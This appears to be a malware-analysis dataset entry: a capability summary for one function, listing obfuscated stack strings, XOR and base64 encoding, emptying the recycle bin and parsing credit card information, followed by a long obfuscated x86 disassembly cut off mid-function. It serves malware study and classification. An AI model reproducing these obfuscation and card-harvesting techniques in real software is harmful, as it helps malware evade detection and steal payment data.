Function at 0x4ef7c0
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Empty the recycle bin
Encode data using base64
Encode data using xor
Parse credit card information

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x284c
call fcn.0050e000
mov dword [ebp - 0x14b8], 0x70442037
mov dword [ebp - 0x1c20], 0xb547f8e4
mov dword [ebp - 0x2640], 0x5c8cd95a
mov eax, 0x946
mov word [ebp - 0x488], ax
mov dword [ebp - 0xd9c], 0xa8d72e7
mov ecx, 0x753
mov word [ebp - 0x92c], cx
mov dword [ebp - 0x710], 0x3d8bd2b7
mov dword [ebp - 0x704], 0x656dbf88
mov edx, 0x6a6f
mov word [ebp - 0x20e8], dx
mov dword [ebp - 0x6f0], 0xb6362e46
mov eax, 0x70a0
mov word [ebp - 0x2344], ax
mov byte [ebp - 0x2339], 0x70
mov dword [ebp - 0x458], 0xced825ac
mov ecx, 0x2e23
mov word [ebp - 0x1908], cx
mov dword [ebp - 0x1470], 0x55a2c1a2
mov dword [ebp - 0x904], 0x152f830a
mov dword [ebp - 0x20c4], 0xdd48377b
mov dword [ebp - 0x2308], 0x9c588aa
mov dword [ebp - 0x1660], 0x65f8ca83
mov dword [ebp - 0x22f0], 0xc192b72
mov dword [ebp - 0x200], 0x458a4449
mov dword [ebp - 0xad8], 0xa9519227
mov dword [ebp - 0x1e0c], 0xb9d42097
mov dword [ebp - 0xcd8], 0x4455a0c5
mov edx, 0x18b4
mov word [ebp - 0x6b0], dx
mov dword [ebp - 0x1420], 0x16c44daf
mov byte [ebp - 0x2085], 0x9b
mov byte [ebp - 0x22b1], 0xf6
push 0
push 0
push 0
lea ecx, [ebp - 0x1dfc]
call fcn.0050dfa0
mov byte [ebp - 0x1181], 0x64
mov dword [ebp - 0x66c], 0x2493a397
mov dword [ebp - 0xc88], 0x67eeadf4
mov dword [ebp - 0x2294], 0x343a46d3
mov eax, 0x3998
mov word [ebp - 0x1af4], ax
mov ecx, 0xd0e
mov word [ebp - 0x868], cx
mov dword [ebp - 0x13d4], 0x5cd9f201
mov dword [ebp - 0x648], 0xb50d6bf1
mov edx, 0xf46
mov word [ebp - 0x3ac], dx
mov dword [ebp - 0x13d0], 0x23a8e0d4
mov byte [ebp - 0x851], 0x76
mov dword [ebp - 0x1168], 0x7e85eb2a
mov eax, 0x9e8
mov word [ebp - 0x2028], ax
mov dword [ebp - 0xa70], 0x4e1eff76
mov byte [ebp - 0xa5d], 0x55
mov dword [ebp - 0x1844], 0x9283ef97
mov ecx, 0x9d6
mov word [ebp - 0x83c], cx
mov dword [ebp - 0x164], 0x57e6d8c2
mov dword [ebp - 0x2244], 0x280bd244
mov dword [ebp - 0x1838], 0x20839a17
mov dword [ebp - 0x608], 0x5f19b0b
mov dword [ebp - 0x13b4], 0xeff784f4
mov dword [ebp - 0x13b0], 0x3c4fa070
mov dword [ebp - 0xf40], 0x369d461b
mov edx, 0x24a
mov word [ebp - 0x1a80], dx
mov dword [ebp - 0xf3c], 0x1de769cd
mov byte [ebp - 0xf35], 8
mov dword [ebp - 0x13a4], 0x59c2350e
mov eax, 0x9a
mov word [ebp - 0xf2c], ax
mov dword [ebp - 0xf24], 0x771b5a41
mov byte [ebp - 0x5e5], 0x1e
mov ecx, 0x23e
mov word [ebp - 0x24ec], cx
mov dword [ebp - 0x17f4], 0x1cd3c049
mov dword [ebp - 0xa18], 0x7aeb931a
mov dword [ebp - 0x1fbc], 0x95ecf575
mov byte [ebp - 0x1d75], 0xa4
mov dword [ebp - 0x100], 0x55305af
mov dword [ebp - 0x218c], 0xab8a7dfa
mov edx, 0xe6a
mov word [ebp - 0xebc], dx
mov dword [ebp - 0x1f88], 0x5daf8202
mov dword [ebp - 0x155c], 0xebe98acc
mov dword [ebp - 0x2168], 0x1fbe6db4
mov dword [ebp - 0x17b4], 0x72073bf3
mov dword [ebp - 0x1a0c], 0x81e6bab0
mov eax, 0x20a7
mov word [ebp - 0x1f7c], ax
mov dword [ebp - 0xe70], 0x4d2bc6b0
mov dword [ebp - 0x550], 0x6d25362
mov ecx, 0x901
mov word [ebp - 0x19e4], cx
mov dword [ebp - 0x10d8], 0xe7cc2591
mov byte [ebp - 0x1799], 0x70
mov byte [ebp - 0x2459], 0xa0
mov dword [ebp - 0x10c0], 0x40c5185d
mov dword [ebp - 0x152c], 0x2eb3e26
mov dword [ebp - 0x212c], 0x634ba722
mov dword [ebp - 0x998], 0x18bdb793
mov dword [ebp - 0x1cb8], 0x1f6c45f2
push 0
push 0
push 0
lea ecx, [ebp - 0x1f18]
call fcn.0050dfa0
mov byte [ebp - 0xe2d], 0xb1
mov byte [ebp - 0x107d], 0x77
mov dword [ebp - 0x23f8], 0x1abd783d
mov dword [ebp - 0x23f4], 0x2de0b37
mov edx, 0xe52
mov word [ebp - 0x14], dx
push 0
push 0
push 0
lea ecx, [ebp - 0x4e8]
call fcn.0050dfa0
mov dword [ebp - 0x105c], 0x447b76ff
mov eax, 0xb29
mov word [ebp - 0x1960], ax
mov cl, byte [ebp + 8]
mov byte [ebp - 0xead], cl
mov dword [ebp - 0x20e4], 0xc8ec
mov dword [ebp - 0x15b4], 0x508d
mov dword [ebp - 0xc78], 0xf764
movzx edx, byte [ebp + 8]
add edx, 0x37
mov byte [ebp - 0xead], dl
mov al, byte [ebp - 0xead]
mov byte [ebp + 8], al
mov ecx, dword [ebp - 0x20e4]
add ecx, 0x16
mov dword [ebp - 0x20e4], ecx
movzx edx, byte [ebp + 8]
sub edx, 0x68
mov byte [ebp - 0xead], dl
movzx eax, byte [ebp + 8]
and eax, 0xaa
mov byte [ebp - 0xead], al
movzx ecx, byte [ebp + 8]
sar ecx, 7
mov byte [ebp - 0xead], cl
movzx edx, byte [ebp + 8]
xor edx, 0x83
mov byte [ebp - 0xead], dl
mov eax, dword [section..data]
mov dword [ebp + 0xc], eax
movzx ecx, byte [ebp + 8]
shl ecx, 5
mov byte [ebp - 0xead], cl
mov edx, dword [section..data]
or edx, 0x30b6b48b
mov dword [ebp + 0xc], edx
movzx eax, byte [ebp + 8]
add eax, 0x56
mov byte [ebp - 0xead], al
mov ecx, dword [section..data]
sub ecx, 0x535379a4
mov dword [ebp + 0xc], ecx
movzx edx, byte [ebp + 8]
and edx, 0xed
mov byte [ebp - 0xead], dl
movzx eax, byte [ebp + 8]
add eax, 0xe9
mov byte [ebp - 0xead], al
mov ecx, dword [section..data]
sub ecx, 0x93938c
mov dword [ebp + 0xc], ecx
mov edx, dword [section..data]
add edx, 0x32ac898b
mov dword [ebp + 0xc], edx
cmp dword [ebp - 0x20e4], 0xcf06
jb 0x4efbb1
mov eax, dword [section..data]
sub eax, dword [ebp + 0xc]
mov dword [ebp - 0x2168], eax
mov dword [ebp - 0x298], 0x12a8
mov dword [ebp - 0x20dc], 0xdcc1
mov dword [ebp - 0x1540], 0x5fb
mov byte [ebp - 0x5f5], 0x3d
mov cl, byte [ebp + 8]
mov byte [ebp - 0x2650], cl
cmp byte [ebp - 0x2650], 0x73
je 0x4efce3
jmp 0x4efd30
movzx edx, byte [ebp + 8]
xor edx, 0x93
mov byte [ebp - 0xead], dl
call fcn.0046d040
push 0x6a
mov eax, dword [ebp - 0xf70]
push eax
push 0x66
mov ecx, dword [ebp - 0x63c]
push ecx
call dword [sym.imp.SHELL32.dll_DragQueryFileW]
mov dword [ebp - 0x22a0], eax
movzx edx, byte [ebp - 0xead]
push edx
movzx eax, byte [ebp - 0x5f5]
push eax
call fcn.004d1cd0
jmp 0x50df5f
cmp dword [ebp - 0x1540], 0x2a1
jb 0x4eff29
mov dword [ebp - 0x22a0], 0x104cfa7b
movsx ecx, byte [ebp - 0x5f5]
or ecx, 0x21
mov byte [ebp - 0x5f5], cl
movzx edx, byte [ebp + 8]
sar edx, 6
mov byte [ebp - 0xead], dl
mov eax, dword [section..data]
mov ecx, dword [ebp + 0xc]
shl eax, cl
mov dword [ebp - 0x2168], eax
mov ecx, dword [ebp - 0x2168]
and ecx, dword [section..data]
mov dword [ebp + 0xc], ecx
movsx edx, byte [ebp - 0x5f5]
add edx, 0x77
mov byte [ebp - 0x5f5], dl
movzx eax, byte [ebp - 0xead]
sub eax, 0xc6
mov byte [ebp + 8], al
mov ecx, dword [ebp - 0x22a0]
add ecx, 0x4ab94236
mov dword [ebp - 0x22a0], ecx
mov edx, dword [section..data]
sub edx, dword [ebp + 0xc]
mov dword [ebp - 0x2168], edx
movzx eax, byte [ebp + 8]
and eax, 0x82
mov byte [ebp - 0xead], al
movsx ecx, byte [ebp - 0x5f5]
sub ecx, 0x26
mov byte [ebp - 0x5f5], cl
mov edx, dword [ebp - 0x22a0]
add edx, 0x1f3e5874
mov dword [ebp - 0x22a0], edx
mov eax, dword [ebp + 0xc]
sub eax, dword [section..data]
mov dword [ebp - 0x2168], eax
mov ecx, dword [ebp - 0x1540]
sub ecx, 0x42
mov dword [ebp - 0x1540], ecx
movzx edx, byte [ebp + 8]
add edx, 0x14
mov byte [ebp - 0xead], dl
mov eax, dword [ebp - 0x2168]
mov ecx, dword [section..data]
sar eax, cl
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0xc]
xor ecx, dword [section..data]
mov dword [ebp - 0x2168], ecx
mov edx, dword [section..data]
mov ecx, dword [ebp + 0xc]
shl edx, cl
mov dword [ebp - 0x2168], edx
mov eax, dword [section..data]
or eax, dword [ebp + 0xc]
mov dword [ebp - 0x2168], eax
mov ecx, dword [ebp - 0x2168]
and ecx, dword [section..data]
mov dword [ebp + 0xc], ecx
mov edx, dword [ebp - 0x2168]
add edx, dword [section..data]
mov dword [ebp + 0xc], edx
mov eax, dword [section..data]
sub eax, dword [ebp + 0xc]
mov dword [ebp - 0x2168], eax
movzx ecx, byte [ebp - 0xead]
add ecx, 0xc1
mov byte [ebp + 8], cl
movzx edx, byte [ebp - 0xead]
sub edx, 0xa5
mov byte [ebp + 8], dl
mov eax, dword [ebp - 0x22a0]
sub eax, 0x1f47f892
mov dword [ebp - 0x22a0], eax
movzx ecx, byte [ebp + 8]
and ecx, 0xfd
mov byte [ebp - 0xead], cl
mov edx, dword [section..data]
add edx, dword [ebp + 0xc]
mov dword [ebp - 0x2168], edx
movzx eax, byte [ebp - 0xead]
sub eax, 0xa0
mov byte [ebp + 8], al
mov ecx, dword [ebp + 0xc]
add ecx, dword [section..data]
mov dword [ebp - 0x2168], ecx
movzx edx, byte [ebp + 8]
or edx, 0x28
mov byte [ebp - 0xead], dl
movzx eax, byte [ebp + 8]
sar eax, 4
mov byte [ebp - 0xead], al
mov ecx, dword [ebp - 0x22a0]
shl ecx, 5
mov dword [ebp - 0x22a0], ecx
jmp 0x4efd30
lea edx, [ebp - 0x22a0]
mov dword [ebp - 0xe60], edx
movsx eax, byte [ebp - 0x5f5]
cmp eax, 0x1e
jge 0x50df50
lea ecx, [ebp - 0x2168]
mov dword [ebp - 0x308], ecx
mov edx, dword [ebp - 0xe60]
mov eax, dword [edx]
mov dword [ebp - 0x2654], eax
cmp dword [ebp - 0x2654], 0x5f939260
je 0x4effd1
cmp dword [ebp - 0x2654], 0x88347eda
je 0x4eff7c
jmp 0x50defc
mov ecx, dword [ebp - 0x22a0]
mov dword [ebp - 0x2658], ecx
cmp dword [ebp - 0x2658], 0x8e1f1001
je 0x4eff96
jmp 0x4effb9
push 0
mov edx, dword [ebp - 0x252c]
push edx
mov eax, dword [ebp - 0x2530]
push eax
mov ecx, dword [ebp - 0x24cc]
push ecx
call dword [sym.imp.COMCTL32.dll_LBItemFromPt]
mov dword [ebp - 0x10d0], eax
mov edx, dword [ebp - 0xe60]
mov eax, dword [edx]
add eax, 0x1d8e4b6e
mov dword [ebp - 0x22a0], eax
jmp 0x50defc
cmp dword [ebp - 0xc78], 0x1013c
ja 0x4f02da
mov ecx, dword [ebp - 0x308]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x10d0]
mov dword [ebp + 0xc], edx
mov eax, dword [ebp - 0x308]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x10d0]
mov edx, dword [ebp - 0x308]
mov dword [edx], ecx
mov eax, dword [ebp - 0x308]
mov ecx, dword [eax]
mov dword [ebp - 0x10d0], ecx
mov edx, dword [ebp - 0x308]
mov eax, dword [edx]
sub eax, dword [ebp - 0x2168]
mov ecx, dword [ebp - 0x308]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2168]
and edx, dword [ebp - 0x10d0]
mov eax, dword [ebp - 0x308]
mov dword [eax], edx
mov ecx, dword [ebp - 0x308]
mov edx, dword [ecx]
add edx, dword [ebp - 0x10d0]
mov eax, dword [ebp - 0x308]
mov dword [eax], edx
mov ecx, dword [ebp - 0xe60]
mov edx, dword [ecx]
or edx, 0xa6f64474
mov dword [ebp - 0x22a0], edx
mov eax, dword [ebp - 0x2168]
mov ecx, dword [ebp + 0xc]
sar eax, cl
mov ecx, dword [ebp - 0x308]
mov dword [ecx], eax
mov edx, dword [ebp - 0x10d0]
xor edx, dword [ebp - 0x2168]
mov eax, dword [ebp - 0x308]
mov dword [eax], edx
mov ecx, dword [ebp - 0x22a0]
shl ecx, 1
mov edx, dword [ebp - 0xe60]
mov dword [edx], ecx
mov eax, dword [ebp - 0xe60]
mov ecx, dword [eax]
add ecx, 0x4081ff74
mov dword [ebp - 0x22a0], ecx
mov edx, dword [ebp - 0x308]
mov eax, dword [edx]
and eax, dword [ebp - 0x10d0]
mov ecx, dword [ebp - 0x308]
mov dword [ecx], eax
mov edx, dword [ebp - 0x308]
mov eax, dword [edx]
sub eax, dword [ebp + 0xc]
mov dword [ebp - 0x2168], eax
mov ecx, dword [ebp - 0xe60]
mov edx, dword [ecx]
add edx, 0xc652d20
mov dword [ebp - 0x22a0], edx
mov eax, dword [ebp - 0x308]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x2168]
mov dword [ebp + 0xc], ecx
movzx edx, byte [ebp + 8]
sub edx, 0x21
mov byte [ebp - 0xead], dl
mov eax, dword [ebp - 0x308]
mov ecx, dword [ebp - 0x2168]
sub ecx, dword [eax]
mov dword [ebp + 0xc], ecx
mov edx, dword [ebp - 0x308]
mov eax, dword [edx]
add eax, dword [ebp - 0x10d0]
mov ecx, dword [ebp - 0x308]
mov dword [ecx], eax
mov edx, dword [ebp - 0xe60]
mov eax, dword [edx]
sub eax, 0x539180a
mov dword [ebp - 0x22a0], eax
mov ecx, dword [ebp - 0x308]
mov edx, dword [ecx]
and edx, dword [ebp - 0x10d0]
mov eax, dword [ebp - 0x308]
mov dword [eax], edx
mov ecx, dword [ebp + 0xc]
xor ecx, dword [ebp - 0x10d0]
mov edx, dword [ebp - 0x308]
mov dword [edx], ecx
mov eax, dword [ebp - 0x10d0]
mov ecx, dword [ebp - 0x2168]
shl eax, cl
mov ecx, dword [ebp - 0x308]
mov dword [ecx], eax
mov edx, dword [ebp - 0xe60]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x22a0]
shr eax, cl
mov ecx, dword [ebp - 0xe60]
mov dword [ecx], eax
mov edx, dword [ebp - 0x22a0]
or edx, 0x7a8c1d3d
mov eax, dword [ebp - 0xe60]
mov dword [eax], edx
movzx ecx, byte [ebp + 8]
add ecx, 0x9b
mov byte [ebp - 0xead], cl
mov edx, dword [ebp - 0x308]
mov eax, dword [edx]
sub eax, dword [ebp - 0x2168]
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp - 0x308]
mov edx, dword [ecx]
and edx, dword [ebp - 0x2168]
mov eax, dword [ebp - 0x308]
mov dword [eax], edx
mov ecx, dword [ebp - 0x10d0]
add ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 0x308]
mov dword [edx], ecx
mov eax, dword [ebp - 0xe60]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x22a0]
mov edx, dword [ebp - 0xe60]
mov dword [edx], ecx
mov eax, dword [ebp - 0xe60]
mov ecx, dword [eax]
sub ecx, 0x4e2bb144
mov dword [ebp - 0x22a0], ecx
mov edx, dword [ebp - 0x308]
mov eax, dword [edx]
sub eax, dword [ebp - 0x2168]
mov ecx, dword [ebp - 0x308]
mov dword [ecx], eax
mov edx, dword [ebp - 0xc78]
add edx, 0x54
mov dword [ebp - 0xc78], edx
mov eax, dword [ebp + 0xc]
add eax, dword [ebp - 0x2168]
mov ecx, dword [ebp - 0x308]
mov dword [ecx], eax
mov edx, dword [ebp - 0xe60]
mov eax, dword [edx]
sub eax, dword [ebp - 0x22a0]
mov ecx, dword [ebp - 0xe60]
mov dword [ecx], eax
mov edx, dword [ebp - 0xe60]
mov eax, dword [edx]
add eax, dword [ebp - 0x22a0]
mov ecx, dword [ebp - 0xe60]
mov dword [ecx], eax
movzx edx, byte [ebp - 0xead]
sub edx, 0x88
mov byte [ebp + 8], dl
mov eax, dword [ebp - 0x10d0]
mov ecx, dword [section..data]
shl eax, cl
mov dword [ebp - 0x2168], eax
mov ecx, dword [ebp - 0x308]
mov edx, dword [ecx]
or edx, dword [ebp - 0x2168]
mov dword [ebp - 0x10d0], edx
mov eax, dword [ebp - 0xe60]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x22a0]
shr edx, cl
mov eax, dword [ebp - 0xe60]
mov dword [eax], edx
jmp 0x4effd1
cmp dword [ebp - 0x298], 0x1e70
je 0x4f03ef
mov ecx, dword [ebp - 0x308]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x10d0]
mov dword [ebp + 0xc], edx
mov eax, dword [ebp - 0x2168]
and eax, dword [ebp - 0x10d0]
mov ecx, dword [ebp - 0x308]
mov dword [ecx], eax
mov edx, dword [ebp - 0x298]
add edx, 0x68
mov dword [ebp - 0x298], edx
mov eax, dword [ebp - 0xe60]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x22a0]
mov edx, dword [ebp - 0xe60]
mov dword [edx], ecx
mov eax, dword [ebp - 0xe60]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x22a0]
mov edx, dword [ebp - 0xe60]
mov dword [edx], ecx
mov eax, dword [ebp - 0xe60]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x22a0]
mov edx, dword [ebp - 0xe60]
mov dword [edx], ecx
mov eax, dword [ebp - 0x10d0]
add eax, dword [ebp - 0x2168]
mov ecx, dword [ebp - 0x308]
mov dword [ecx], eax
mov edx, dword [ebp - 0x308]
mov eax, dword [edx]
add eax, dword [ebp - 0x2168]
mov dword [ebp - 0x10d0], eax
mov ecx, dword [ebp - 0x10d0]
sub ecx, dword [ebp - 0x2168]
mov edx, dword [ebp - 0x308]
mov dword [edx], ecx
mov eax, dword [ebp - 0x308]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x2168]
mov edx, dword [ebp - 0x308]
mov dword [edx], ecx
mov eax, dword [ebp - 0x10d0]
add eax, dword [ebp - 0x2168]
mov ecx, dword [ebp - 0x308]
mov dword [ecx], eax
mov edx, dword [ebp - 0xe60]
mov eax, dword [edx]
or eax, 0xf9c20c97
mov dword [ebp - 0x22a0], eax
mov ecx, dword [ebp - 0x308]
mov edx, dword [ebp + 0xc]
xor edx, dword [ecx]
mov dword [ebp - 0x10d0], edx
jmp 0x4f02da
mov eax, dword [ebp - 0x308]
mov edx, dword [ebp - 0x10d0]
mov ecx, dword [eax]
sar edx, cl
mov dword [ebp - 0x2168], edx
mov eax, dword [ebp - 0xe60]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x22a0]
shl edx, cl
mov eax, dword [ebp - 0xe60]
mov dword [eax], edx
mov ecx, dword [ebp - 0x308]
mov edx, dword [ecx]
and edx, dword [ebp - 0x2168]
mov dword [ebp + 0xc], edx
mov eax, dword [ebp + 0xc]
add eax, dword [ebp - 0x2168]
mov ecx, dword [ebp - 0x308]
mov dword [ecx], eax
movzx edx, byte [ebp + 8]
sub edx, 0x1c
mov byte [ebp - 0xead], dl
mov eax, dword [ebp - 0x308]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x10d0]
mov edx, dword [ebp - 0x308]
mov dword [edx], ecx
mov eax, dword [ebp - 0x20dc]
add eax, 0x8b
mov dword [ebp - 0x20dc], eax
mov ecx, dword [ebp - 0xe60]
mov edx, dword [ecx]
add edx, 0x3450e045
mov dword [ebp - 0x22a0], edx
mov eax, dword [ebp - 0x308]
mov ecx, dword [ebp - 0x2168]
and ecx, dword [eax]
mov dword [ebp + 0xc], ecx
mov edx, dword [ebp - 0x10d0]
sub edx, dword [ebp - 0x2168]
mov eax, dword [ebp - 0x308]
mov dword [eax], edx
mov ecx, dword [ebp - 0x10d0]
add ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 0x308]
mov dword [edx], ecx
mov eax, dword [ebp - 0x308]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x2168]
mov edx, dword [ebp - 0x308]
mov dword [edx], ecx
mov eax, dword [ebp - 0xe60]
mov ecx, dword [eax]
add ecx, 0x5d7073f2
mov dword [ebp - 0x22a0], ecx
mov edx, dword [ebp - 0x10d0]
mov ecx, dword [ebp + 0xc]
sar edx, cl
mov eax, dword [ebp - 0x308]
mov dword [eax], edx
cmp dword [ebp - 0x20dc], 0x108bc
jb 0x4f03ef
movzx ecx, byte [ebp - 0xead]
or ecx, 0xc1
movzx edx, byte [ebp + 8]
cmp ecx, edx
jge 0x4f05b9
mov al, byte [ebp - 0xead]
mov byte [ebp - 0x265c], al
cmp byte [ebp - 0x265c], 0x22
je 0x4f0543
cmp byte [ebp - 0x265c], 0xc9
je 0x4f05a3
jmp 0x4f05b7
mov edx, dword [ebp - 0x2168]
mov ecx, dword [ebp - 0x10d0]
shl edx, cl
mov eax, dword [ebp - 0x308]
mov dword [eax], edx
movzx ecx, byte [ebp + 8]
xor ecx, 0x70
mov byte [ebp - 0xead], cl
mov edx, dword [ebp - 0x308]
mov eax, dword [edx]
and eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0x308]
mov dword [ecx], eax
mov edx, dword [ebp - 0x294]
push edx
mov eax, dword [ebp - 0x2404]
push eax
mov ecx, dword [ebp - 0x1210]
push ecx
mov edx, dword [ebp - 0x300]
push edx
call dword [sym.imp.SHELL32.dll_ShellAboutW]
mov dword [ebp - 0x208], eax
jmp 0x4f05b7
mov eax, dword [ebp - 0xe60]
mov ecx, dword [eax]
add ecx, 0x5fd54d59
mov dword [ebp - 0x22a0], ecx
jmp 0x4f05d6
movsx edx, byte [ebp - 0x5f5]
cmp edx, 0x6d
jne 0x4f05d6
mov eax, dword [ebp - 0x208]
sub eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0x308]
mov dword [ecx], eax
mov dword [ebp - 0xd00], 0x417
movsx edx, byte [ebp - 0x5f5]
sub edx, 0x1d
cmp edx, 0x3d
jle 0x4f0653
lea eax, [ebp - 0x2530]
push eax
lea ecx, [ebp - 0xe60]
push ecx
lea edx, [ebp - 0x5f5]
push edx
call dword [sym.imp.ole32.dll_MonikerCommonPrefixWith]
mov dword [ebp - 0xc2c], eax
call fcn.0046d040
mov eax, dword [ebp - 0x308]
mov ecx, dword [eax]
add ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 0x308]
mov dword [edx], ecx
lea eax, [ebp - 0x7d8]
push eax
push str.Intelligibility_cuts_incests_Maintainers_enliven
call dword [sym.imp.ole32.dll_CLSIDFromProgIDEx]
mov dword [ebp - 0x1a58], eax
mov ecx, dword [ebp - 0x308]
mov edx, dword [ecx]
mov dword [ebp - 0x208], edx
jmp 0x4f07a0
movzx eax, byte [ebp + 8]
add eax, 0xb8
movzx ecx, byte [ebp - 0xead]
cmp eax, ecx
je 0x4f07a0
movsx edx, byte [ebp - 0x5f5]
cmp edx, 0x1c
jne 0x4f06b3
mov eax, dword [ebp - 0x208]
and eax, dword [ebp - 0x2168]
mov ecx, dword [ebp - 0x308]
mov dword [ecx], eax
push 1
lea edx, [ebp - 0xf70]
push edx
call dword [sym.imp.ole32.dll_OleGetIconOfFile]
mov dword [ebp - 0xc58], eax
mov eax, dword [ebp - 0x308]
mov ecx, dword [eax]
sub ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 0x308]
mov dword [edx], ecx
mov dword [ebp - 0x1af0], 0xadd
lea eax, [ebp - 0x22a0]
mov dword [ebp - 0x167c], eax
mov dword [ebp - 0x1644], 0x9415
movsx ecx, byte [ebp - 0x5f5]
sub ecx, 0x4d
cmp ecx, 3
jg 0x4f0785
movzx edx, byte [ebp + 8]
sar edx, 0xdd
movzx eax, byte [ebp - 0xead]
cmp edx, eax
jne 0x4f0708
movzx ecx, byte [ebp + 8]
xor ecx, 0xa9
mov byte [ebp - 0xead], cl
mov dl, byte [ebp - 0xead]
mov byte [ebp - 0x2660], dl
cmp byte [ebp - 0x2660], 0x3a
je 0x4f0755
cmp byte [ebp - 0x2660], 0xc1
je 0x4f0728
jmp 0x4f0783
lea eax, [ebp - 0x24c]
push eax
push str.Diverting_Barleycorn_stalker_lathes_keening
call dword [sym.imp.ole32.dll_IIDFromString]
mov dword [ebp - 0x1d70], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp - 0x208]
shl edx, cl
mov eax, dword [ebp - 0x308]
mov dword [eax], edx
jmp 0x4f0783
lea ecx, [ebp - 0xead]
mov dword [ebp - 0xf9c], ecx
lea edx, [ebp - 0x22a0]
mov dword [ebp - 0x14a0], edx
mov eax, dword [ebp - 0x167c]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x22a0]
mov edx, dword [ebp - 0x167c]
mov dword [edx], ecx
jmp 0x4f0796
mov eax, dword [ebp - 0x308]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x10d0]
mov dword [ebp + 0xc], ecx
mov dword [ebp - 0x380], 0x782f
lea edx, [ebp - 0xead]
mov dword [ebp - 0x168], edx
cmp dword [ebp - 0x1644], 0xb57b
jae 0x4f0906
mov eax, dword [ebp - 0x308]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x10d0]
mov edx, dword [ebp - 0x308]
mov dword [edx], ecx
mov eax, dword [ebp - 0xe60]
mov ecx, dword [ebp - 0x167c]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x22a0], edx
mov eax, dword [ebp - 0x2168]
add eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0x308]
mov dword [ecx], eax
mov edx, dword [ebp - 0x1644]
add edx, 0xe1
mov dword [ebp - 0x1644], edx
mov eax, dword [ebp - 0x208]
sub eax, dword [ebp - 0x2168]
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp - 0xf9c]
movzx edx, byte [ecx]
movzx eax, byte [ebp + 8]
add edx, eax
mov byte [ebp - 0xead], dl
mov ecx, dword [ebp - 0x168]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0xead]
and edx, eax
mov ecx, dword [ebp - 0xf9c]
mov byte [ecx], dl
mov edx, dword [ebp - 0xe60]
mov eax, dword [ebp - 0x22a0]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x167c]
mov dword [ecx], eax
mov edx, dword [ebp + 0xc]
or edx, dword [ebp - 0x10d0]
mov eax, dword [ebp - 0x308]
mov dword [eax], edx
movzx edx, byte [ebp - 0xead]
mov eax, dword [ebp - 0xf9c]
movzx ecx, byte [eax]
sar edx, cl
mov ecx, dword [ebp - 0x168]
mov byte [ecx], dl
mov edx, dword [ebp - 0x308]
mov eax, dword [edx]
xor eax, dword [ebp - 0x2168]
mov ecx, dword [ebp - 0x308]
mov dword [ecx], eax
mov edx, dword [ebp - 0xf9c]
movzx eax, byte [edx]
movzx ecx, byte [ebp + 8]
shl eax, cl
mov ecx, dword [ebp - 0x168]
mov byte [ecx], al
mov edx, dword [ebp - 0x308]
mov eax, dword [ebp - 0x208]
add eax, dword [edx]
mov dword [ebp - 0x10d0], eax
mov ecx, dword [ebp - 0xe60]
mov edx, dword [ebp - 0x167c]
mov eax, dword [ecx]
and eax, dword [edx]
mov dword [ebp - 0x22a0], eax
mov ecx, dword [ebp - 0x2168]
add ecx, dword [ebp - 0x208]
mov dword [ebp + 0xc], ecx
mov edx, dword [ebp - 0x308]
mov eax, dword [edx]
sub eax, dword [ebp + 0xc]
mov dword [ebp - 0x2168], eax
jmp 0x4f07ac
lea ecx, [ebp - 0x22a0]
mov dword [ebp - 0xa40], ecx
mov edx, dword [ebp - 0x308]
mov eax, dword [ebp - 0x2168]
add eax, dword [edx]
mov ecx, dword [ebp + 0xc]
sub ecx, dword [ebp - 0x10d0]
cmp eax, ecx
je 0x4f09d7
call fcn.004d7e60
mov edx, dword [ebp - 0x2168]
add edx, dword [ebp - 0x208]
mov eax, dword [ebp - 0x308]
mov dword [eax], edx
mov ecx, dword [ebp - 0x22a0]
mov dword [ebp - 0x2664], ecx
cmp dword [ebp - 0x2664], 0x231c02d7
je 0x4f0964
jmp 0x4f09c1
movzx edx, byte [ebp + 8]
mov eax, dword [ebp - 0x168]
movzx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0xead], dl
call dword [sym.imp.ole32.dll_CoUninitialize]
mov edx, dword [ebp - 0xa40]
mov eax, dword [ebp - 0x22a0]
sub eax, dword [edx]
mov ecx, dword [ebp - 0xe60]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2168]
push edx
mov eax, dword [ebp - 0xf9c]
movzx ecx, byte [eax]
push ecx
call fcn.004ef7c0
add esp, 8
mov edx, dword [ebp - 0x308]
mov eax, dword [ebp + 0xc]
and eax, dword [edx]
mov dword [ebp - 0x2168], eax
jmp 0x4f09d7
mov ecx, dword [ebp - 0xe60]
mov edx, dword [ebp - 0x22a0]
xor edx, dword [ecx]
mov eax, dword [ebp - 0xa40]
mov dword [eax], edx
mov cl, byte [ebp - 0x5f5]
mov byte [ebp - 0x2668], cl
cmp byte [ebp - 0x2668], 0x7a
je 0x4f09f1
jmp 0x4f0aaf
mov edx, dword [ebp - 0xf9c]
